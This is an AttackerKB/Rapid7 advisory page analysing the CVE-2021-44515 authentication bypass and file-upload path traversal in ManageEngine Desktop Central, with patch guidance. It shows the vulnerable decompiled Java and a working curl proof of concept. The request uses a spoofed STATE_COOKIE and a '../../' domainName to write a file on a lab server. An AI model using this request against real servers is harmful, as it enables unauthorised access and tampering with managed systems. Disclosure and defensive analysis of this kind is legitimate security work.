Very High
CVE-2021-44515
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
Very High
(1 user assessed)High
(1 user assessed)Unknown
Unknown
Unknown
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
Zoho ManageEngine Desktop Central is vulnerable to authentication bypass, leading to remote code execution on the server, as exploited in the wild in December 2021. For Enterprise builds 10.1.2127.17 and earlier, upgrade to 10.1.2127.18. For Enterprise builds 10.1.2128.0 through 10.1.2137.2, upgrade to 10.1.2137.3. For MSP builds 10.1.2127.17 and earlier, upgrade to 10.1.2127.18. For MSP builds 10.1.2128.0 through 10.1.2137.2, upgrade to 10.1.2137.3.
Add Assessment
Ratings
-
Attacker ValueVery High
-
ExploitabilityHigh
Technical Analysis
Please see the Rapid7 analysis.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportGeneral Information
Exploited in the Wild
- Government or Industry Alert (https://www.cisa.gov/uscert/ncas/current-activity/2021/12/10/cisa-adds-thirteen-known-exploited-vulnerabilities-catalog)
- News Article or Blog (https://www.tenable.com/blog/cve-2021-44515-zoho-patches-manageengine-zero-day-exploited-in-the-wild)
- Other: FBI Flash Alert (https://www.ic3.gov/Media/News/2021/211220.pdf)
Would you like to delete this Exploited in the Wild Report?
Yes, delete this reportReferences
Additional Info
Technical Analysis
Description
On December 3, 2021, Zoho published a vulnerability notification for CVE-2021-44515, an authentication bypass and potential remote code execution (RCE) vulnerability in its ManageEngine Desktop Central and Desktop Central MSP products.
On December 17, 2021, the FBI published a flash alert for CVE-2021-44515, including technical details and indicators of compromise (IOCs). According to the FBI, APT actors have been exploiting the vulnerability since at least late October 2021. Rapid7 recommends patching any and all instances of Desktop Central on an emergency basis.
Update: On January 21, 2022, Steven Seeley published further technical details on CVE-2021-44515, including a PoC to change the Desktop Central administrator’s password.
Affected products
ManageEngine Desktop Central:
- Builds 10.1.2127.17 and below
- Builds 10.1.2128.0 to 10.1.2137.2
ManageEngine Desktop Central MSP:
- Builds 10.1.2127.17 and below
- Builds 10.1.2128.0 to 10.1.2137.2
Technical analysis
Please see the FBI’s flash alert for more information.
Patch
(The following code is from webapps/DesktopCentral/WEB-INF/web.xml
.)
/STATE_ID/*
is now in a “secured” context, which requires authentication:
<security-constraint> <web-resource-collection> <web-resource-name>Secured Core Context</web-resource-name> <url-pattern>*.do</url-pattern> <url-pattern>*.cc</url-pattern> <url-pattern>*.ama</url-pattern> <url-pattern>*.ve</url-pattern> <url-pattern>*.pdf</url-pattern> <url-pattern>*.xlsx</url-pattern> <url-pattern>*.xls</url-pattern> <url-pattern>*.json</url-pattern> <url-pattern>*.csv</url-pattern> <url-pattern>/view/*</url-pattern> <url-pattern>/verticalTabJson</url-pattern> <url-pattern>/getCustomFilterModel</url-pattern> <url-pattern>/remotefilemanager</url-pattern> <url-pattern>*.ma</url-pattern> <url-pattern>*.ema</url-pattern> <url-pattern>*.jsp</url-pattern> <url-pattern>/webclient</url-pattern> <url-pattern>/integrations</url-pattern> <!--<url-pattern>/dcpclient</url-pattern> <url-pattern>/blmclient</url-pattern> <url-pattern>/appctrlclient</url-pattern>--> <url-pattern>/APIExplorerServlet</url-pattern> <url-pattern>/configurations</url-pattern> <url-pattern>/logout</url-pattern> <url-pattern>/changeDefaultAmazonPassword</url-pattern> <url-pattern>/customColumnFiles/*</url-pattern> <url-pattern>/images/user_profile/*</url-pattern> <url-pattern>/images/user_full_profile/*</url-pattern> <url-pattern>/getCustomFilterModel</url-pattern> <url-pattern>*.ama</url-pattern> <url-pattern>*.chart</url-pattern> <url-pattern>/CPUUsageDetector</url-pattern> <url-pattern>/generatePDF/*</url-pattern> <url-pattern>/mdmclient</url-pattern> + <url-pattern>/STATE_ID/*</url-pattern> </web-resource-collection> <web-resource-collection> <web-resource-name>restricted methods</web-resource-name> <url-pattern>/*</url-pattern> <http-method>OPTIONS</http-method> <http-method>TRACE</http-method> </web-resource-collection> <auth-constraint> <role-name>*</role-name> </auth-constraint> </security-constraint>
Auth bypass
/STATE_ID/*
is filtered by com.adventnet.client.view.web.StateFilter
:
<filter> <filter-name>StateFilter</filter-name> <filter-class>com.adventnet.client.view.web.StateFilter</filter-class> </filter> <filter-mapping> <filter-name>StateFilter</filter-name> <url-pattern>/STATE_ID/*</url-pattern> </filter-mapping>
(The following code is from com.adventnet.client.view.web.StateFilter
in lib/AdventNetClientFramework.jar
.)
doFilter()
calls StateParserGenerator.processState()
:
public void doFilter(final ServletRequest request, final ServletResponse response, final FilterChain chain) throws IOException, ServletException { try { final Long startTime = new Long(System.currentTimeMillis()); request.setAttribute("TIME_TO_LOAD_START_TIME", (Object)startTime); StateFilter.logger.log(Level.FINEST, "doFilter called for {0} ", ((HttpServletRequest)request).getRequestURI()); StateParserGenerator.processState((HttpServletRequest)request, (HttpServletResponse)response); final String forwardPath = ((HttpServletRequest)request).getRequestURI(); if (!WebClientUtil.isRestful((HttpServletRequest)request) || forwardPath.indexOf("STATE_ID") != -1) { final String path = this.getForwardPath((HttpServletRequest)request); final RequestDispatcher rd = request.getRequestDispatcher(path); rd.forward(request, response); } else { chain.doFilter(request, response); } StateFilter.logger.log(Level.FINEST, "end of doFilter for {0} ", ((HttpServletRequest)request).getRequestURI()); } catch (RuntimeException ex) { throw ex; } catch (IOException ex2) { throw ex2; } catch (Exception ex3) { throw new ServletException((Throwable)ex3); } finally { StateAPI.clearStateForThread(); } }
(The following code is from com.adventnet.client.view.web.StateParserGenerator
in lib/AdventNetClientFramework.jar
.)
processState()
calls parseState()
:
public static void processState(final HttpServletRequest request, final HttpServletResponse response) throws Exception { if (StateAPI.prevStateDataRef.get() != null) { return; } final Cookie[] cookiesList = request.getCookies(); if (cookiesList == null) { throw new ClientException(2, null); } final TreeSet set = new TreeSet(new StateUtils.CookieComparator()); String contextPath = request.getContextPath(); contextPath = ((contextPath == null || contextPath.trim().length() == 0) ? "/" : contextPath); String sessionIdName = request.getServletContext().getSessionCookieConfig().getName(); sessionIdName = ((sessionIdName != null) ? sessionIdName : "JSESSIONID"); for (int i = 0; i < cookiesList.length; ++i) { final Cookie cookie = cookiesList[i]; final String cookieName = cookie.getName(); final String cVal = cookie.getValue(); String comment = cookie.getComment(); String domain = cookie.getDomain(); final int cAge = cookie.getMaxAge(); final int cVersion = cookie.getVersion(); final String cNameValue = cookieName + "=" + cVal; final String maxAge = (cAge == -1) ? "" : ("; Max-Age=" + cAge); final String path = "; Path=/"; final String version = "; Version=" + cVersion; domain = (isValid(domain) ? ("; Domain=" + domain) : ""); comment = (isValid(comment) ? ("; Comment=" + comment) : ""); final String secure = request.isSecure() ? "; Secure" : ""; final String cookieString = cNameValue + maxAge + path + version + domain + comment + "; HttpOnly" + secure; if (cookieName.startsWith("_")) { cookiesList[i].setPath(contextPath); response.addCookie(cookiesList[i]); } else if (cookieName.startsWith("STATE_COOKIE")) { set.add(cookiesList[i]); } else if (cookieName.equals(StateParserGenerator.SSOID)) { if (cVal.equals(request.getSession().getAttribute(StateParserGenerator.SSOID))) { response.addHeader("SET-COOKIE", cookieString); } StateParserGenerator.logger.log(Level.FINER, StateParserGenerator.SSOID + " cookie {0} from path {1}", new Object[] { cookiesList[i].getValue(), cookiesList[i].getPath() }); } else if (cookieName.equals(sessionIdName)) { final String sessionid = request.getSession().getId(); if (cookiesList[i].getValue().equals(sessionid)) { final String jsessionCookieStr = sessionIdName + "=" + sessionid + "; Path=" + contextPath + "; HttpOnly" + secure; response.addHeader("SET-COOKIE", jsessionCookieStr); } StateParserGenerator.logger.log(Level.FINER, sessionIdName + " cookie {0} from path {1}", new Object[] { cookiesList[i].getValue(), cookiesList[i].getPath() }); } } if (set.size() != 0) { final Iterator iterator = set.iterator(); final StringBuffer cookieValue = new StringBuffer(); while (iterator.hasNext()) { final Cookie currentCookie = iterator.next(); final String value = currentCookie.getValue(); cookieValue.append(value); } request.setAttribute("PREVCLIENTSTATE", (Object)cookieValue.toString()); final Map state = parseState(cookieValue.toString()); final HashMap refIdVsId = new HashMap(); for (final String uniqueId : state.keySet()) { final Map viewMap = state.get(uniqueId); refIdVsId.put(viewMap.get("ID") + "", uniqueId); } StateAPI.prevStateDataRef.set((state != null) ? state : StateParserGenerator.NULLOBJ); if (state != null) { if (!WebClientUtil.isRestful(request)) { final long urlTime = getTimeFromUrl(request.getRequestURI()); final long reqTime = Long.parseLong((String)StateAPI.getRequestState("_TIME")); state.get("_REQS").put("_ISBROWSERREFRESH", String.valueOf(urlTime != reqTime && !StateAPI.isSubRequest(request))); } final Map sesState = state.get("_SES"); if (sesState != null) { StateAPI.getNewStatesMap().put("_SES", sesState); } } if (WebClientUtil.isRestful(request)) { final HashMap urlstatemap = getURLStateMap(request); StateAPI.prevURLStateDataRef.set((urlstatemap != null) ? urlstatemap : StateParserGenerator.NULLOBJ); } savePreferences(request, state); StateAPI.refIdMapRef.set(refIdVsId); return; } request.setAttribute("STATE_MAP", StateParserGenerator.NULLOBJ); if (!WebClientUtil.isRestful(request)) { throw new ClientException(2, null); } }
parseState()
parses STATE_COOKIE
, which is easily spoofable:
public static Map parseState(final String cookieValue) throws UnsupportedEncodingException { final HashMap map = new HashMap(); try { final String decodedVal = URLDecoder.decode(cookieValue, "UTF-8"); final String[] stateArray = getStateArray(decodedVal.getBytes("UTF-8")); final int length = stateArray.length; HashMap viewMap = null; boolean isNextVal = false; for (int count = 0; count < length; ++count) { final String currentValue = stateArray[count]; if (currentValue.equals("&")) { final String viewName = stateArray[++count]; viewMap = new HashMap(); map.put(viewName, viewMap); viewMap.put("UNIQUE_ID", viewName); isNextVal = false; } else if (currentValue.equals("/")) { if (isNextVal) { String key = stateArray[count - 1]; Object value = stateArray[++count]; value = URLDecoder.decode((String)value, "UTF-8"); if (key.endsWith("_COLL_")) { key = key.substring(0, key.length() - "_COLL_".length()); value = StateUtils.parseAsList((String)value); } else if (key.endsWith("_MAP_")) { key = key.substring(0, key.length() - "_MAP_".length()); value = StateUtils.parseAsMap((String)value); } viewMap.put(key, value); isNextVal = false; } else { isNextVal = true; } } } } catch (Exception e) { e.printStackTrace(); } StateParserGenerator.logger.log(Level.FINER, "The state data as a map is {0}", map); return map; }
webapps/DesktopCentral/framework/javascript/StateHandling.js
was helpful in understanding the format of STATE_COOKIE
:
/** * Updates the state cookie with values from stateData array * also updates state time and rootviewid passed as parameters * to the state cookie */ function updateStateCookie(path, stateTime, rootViewId) { var queryStr = ''; if (!rootViewId) { rootViewId = ROOT_VIEW_ID; } checkForCacheSize(); for (var name in stateData) { //This check breaks the state handling, so I'm commenting that queryStr += '&' + name; for (var i in stateData[name]) { var val = stateData[name][i]; if (val && (i != '_VN' || val != name)) { if (i == '_D_RP') { val = getEscapedQueryString(val); } queryStr += encodeStateAsString(i, val); } } } if (!rootViewId) { rootViewId = ROOT_VIEW_ID; } queryStr += '&_REQS/_RVID/' + rootViewId + '/_TIME/' + stateTime; if (rootViewId != ROOT_VIEW_ID) { queryStr += '/_ORVID/' + ROOT_VIEW_ID; } setCookieBasedOnSize(queryStr, path); }
File upload
(The following code is from webapps/DesktopCentral/WEB-INF/web.xml
.)
/agentLogUploader
is implemented by com.adventnet.sym.webclient.statusupdate.AgentLogUploadServlet
:
<servlet> <servlet-name>AgentLogUploadServlet</servlet-name> <servlet-class>com.adventnet.sym.webclient.statusupdate.AgentLogUploadServlet</servlet-class> </servlet> [snip] <servlet-mapping> <servlet-name>AgentLogUploadServlet</servlet-name> <url-pattern>/agentLogUploader</url-pattern> </servlet-mapping>
(The following code is from com.adventnet.sym.webclient.statusupdate.AgentLogUploadServlet
in lib/AdventNetDesktopCentral.jar
.)
doPost()
is vulnerable to limited (ZIP, etc.) file upload and, in older (undetermined) affected versions, path traversal:
public void doPost(final HttpServletRequest request, final HttpServletResponse response) { final Reader reader = null; PrintWriter printWriter = null; try { final String computerName = request.getParameter("computerName"); final String domName = request.getParameter("domainName"); final String customerIdStr = request.getParameter("customerId"); final String resourceidStr = request.getParameter("resourceid"); final String logType = request.getParameter("logType"); String fileName = request.getParameter("filename"); Long managedResourceID = null; final String branchId = request.getParameter("branchofficeid"); if (computerName != null && domName != null && customerIdStr != null) { final Long customerID = new Long(customerIdStr); managedResourceID = SoMUtil.getInstance().getManagedCompResourceId(computerName, domName, customerID); } if (logType != null && logType.equalsIgnoreCase("nginx_startup_failure")) { final Properties meTrackProps = METrackParamManager.getMETrackParams("DS_Nginx_Startup_Failure"); if (meTrackProps == null || meTrackProps.isEmpty()) { METrackParamManager.addOrUpdateMETrackParams("DS_Nginx_Startup_Failure", "1"); } else { METrackParamManager.incrementMETrackParams("DS_Nginx_Startup_Failure"); } } printWriter = response.getWriter(); if (managedResourceID != null || branchId != null) { final String baseDir = System.getProperty("server.home"); String wanDir = "agent-logs"; if (branchId != null) { wanDir = "ds-logs"; } final String localDirToStore = baseDir + File.separator + wanDir + File.separator + customerIdStr + File.separator + domName + File.separator + computerName; final File file = new File(localDirToStore); if (!file.exists()) { file.mkdirs(); } this.logger.log(Level.WARNING, "absolute Dir {0} ", new Object[] { localDirToStore }); fileName = fileName.toLowerCase(); if (fileName != null && FileUploadUtil.hasVulnerabilityInFileName(fileName, "zip|7z|gz")) { this.logger.log(Level.WARNING, "AgentLogUploadServlet : Going to reject the file upload {0}", fileName); response.sendError(403, "Request Refused"); return; } final String absoluteFileName = localDirToStore + File.separator + fileName; this.logger.log(Level.WARNING, "absolute File Name {0} ", new Object[] { fileName }); InputStream in = null; FileOutputStream fout = null; try { in = (InputStream)request.getInputStream(); fout = new FileOutputStream(absoluteFileName); final byte[] bytes = new byte[10000]; int i; while ((i = in.read(bytes)) != -1) { fout.write(bytes, 0, i); } fout.flush(); } catch (Exception e1) { e1.printStackTrace(); } finally { if (fout != null) { fout.close(); } if (in != null) { in.close(); } } if (branchId != null) { DCApiFactoryProvider.getSupportFileCreationAPI().incrementDSLogUploadCount(); DCApiFactoryProvider.getSupportFileCreationAPI().removeDSFromList(Long.parseLong(branchId)); } else { DCApiFactoryProvider.getSupportFileCreationAPI().incrementAgentLogUploadCount(); DCApiFactoryProvider.getSupportFileCreationAPI().removeComputerFromList(domName + "\\" + computerName); } } else { this.logger.log(Level.WARNING, "The agent logs are received from unmanaged computer(s) : computerName {0} , domainName {1} ", new Object[] { computerName, domName }); } } catch (Exception e2) { this.logger.log(Level.WARNING, "Exception ", e2); if (reader != null) { try { reader.close(); } catch (Exception ex) { ex.fillInStackTrace(); } } } finally { if (reader != null) { try { reader.close(); } catch (Exception ex2) { ex2.fillInStackTrace(); } } } }
PoC
This writes an empty file to lib/aaa.zip
by exploiting the file upload and path traversal:
wvu@kharak:~$ curl -kvb "STATE_COOKIE=&_REQS/_TIME/123" "https://172.16.57.232:8383/STATE_ID/123/agentLogUploader?branchofficeid=0&customerId=1&domainName=../../&computerName=lib&filename=aaa.zip" -d "" * Trying 172.16.57.232:8383... * Connected to 172.16.57.232 (172.16.57.232) port 8383 (#0) * ALPN, offering h2 * ALPN, offering http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.2 (IN), TLS handshake, Certificate (11): * TLSv1.2 (IN), TLS handshake, Server key exchange (12): * TLSv1.2 (IN), TLS handshake, Server finished (14): * TLSv1.2 (OUT), TLS handshake, Client key exchange (16): * TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.2 (OUT), TLS handshake, Finished (20): * TLSv1.2 (IN), TLS handshake, Finished (20): * SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384 * ALPN, server accepted to use http/1.1 * Server certificate: * subject: C=US; ST=CA; OU=ManageEngine; O=Zoho Corporation; CN=ManageEngine * start date: Jan 10 18:18:14 2022 GMT * expire date: Jan 10 18:18:14 2023 GMT * issuer: C=US; ST=CA; OU=ManageEngine; O=Zoho Corporation; CN=ManageEngineCA * SSL certificate verify result: self signed certificate in certificate chain (19), continuing anyway. > POST /STATE_ID/123/agentLogUploader?branchofficeid=0&customerId=1&domainName=../../&computerName=lib&filename=aaa.zip HTTP/1.1 > Host: 172.16.57.232:8383 > User-Agent: curl/7.80.0 > Accept: */* > Cookie: STATE_COOKIE=&_REQS/_TIME/123 > Content-Length: 0 > Content-Type: application/x-www-form-urlencoded > * Mark bundle as not supporting multiuse < HTTP/1.1 200 200 < Server: nginx < Date: Fri, 14 Jan 2022 09:07:19 GMT < Content-Length: 0 < Connection: keep-alive < Set-Cookie: UEMJSESSIONID=6FE4CAD6FF279D21B9B11AD044ED93CA; Path=/; Secure; HttpOnly; SameSite=None < X-FRAME-OPTIONS: SAMEORIGIN < X-XSS-Protection: 1; mode=block < Strict-Transport-Security: max-age=63072000; includeSubdomains; < X-dc-header: yes < X-XSS-Protection: 1; mode=block < Referrer-Policy: same-origin < Strict-Transport-Security: max-age=63072000; includeSubdomains; < * Connection #0 to host 172.16.57.232 left intact wvu@kharak:~$
(The following output is from logs/serverout0.txt
.)
The PoC mimics the IOCs published by the FBI:
[01:07:19:319]|[01-14-2022]|[com.adventnet.sym.webclient.statusupdate.AgentLogUploadServlet]|[WARNING]|[171]|[ab0dc040-f670-4546-803d-89afb194eec1]: absolute Dir ..\ds-logs\1\../../\lib | [01:07:19:319]|[01-14-2022]|[com.adventnet.sym.webclient.statusupdate.AgentLogUploadServlet]|[WARNING]|[171]|[ab0dc040-f670-4546-803d-89afb194eec1]: absolute File Name aaa.zip |
RCE?
RCE using /agentLogUploader
may require overriding a legitimate class and restarting the server. Other endpoints may be used for RCE.
Guidance
Please see the security advisory for Desktop Central.
ManageEngine Desktop Central:
- For builds 10.1.2127.17 and below, upgrade to 10.1.2127.18
- For builds 10.1.2128.0 to 10.1.2137.2, upgrade to 10.1.2137.3
ManageEngine Desktop Central MSP:
- For builds 10.1.2127.17 and below, upgrade to 10.1.2127.18
- For builds 10.1.2128.0 to 10.1.2137.2, upgrade to 10.1.2137.3
Zoho has also provided an “exploit detection tool” to detect certain IOCs. It is linked in the advisory above.
Resources
- https://pitstop.manageengine.com/portal/en/community/topic/an-authentication-bypass-vulnerability-identified-and-fixed-in-desktop-central-and-desktop-central-msp
- https://www.manageengine.com/products/desktop-central/cve-2021-44515-authentication-bypass-filter-configuration.html
- https://www.manageengine.com/desktop-management-msp/cve-2021-44515-security-advisory.html
- https://www.ic3.gov/Media/News/2021/211220.pdf
- https://srcincite.io/blog/2022/01/20/zohowned-a-critical-authentication-bypass-on-zoho-manageengine-desktop-central.html
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: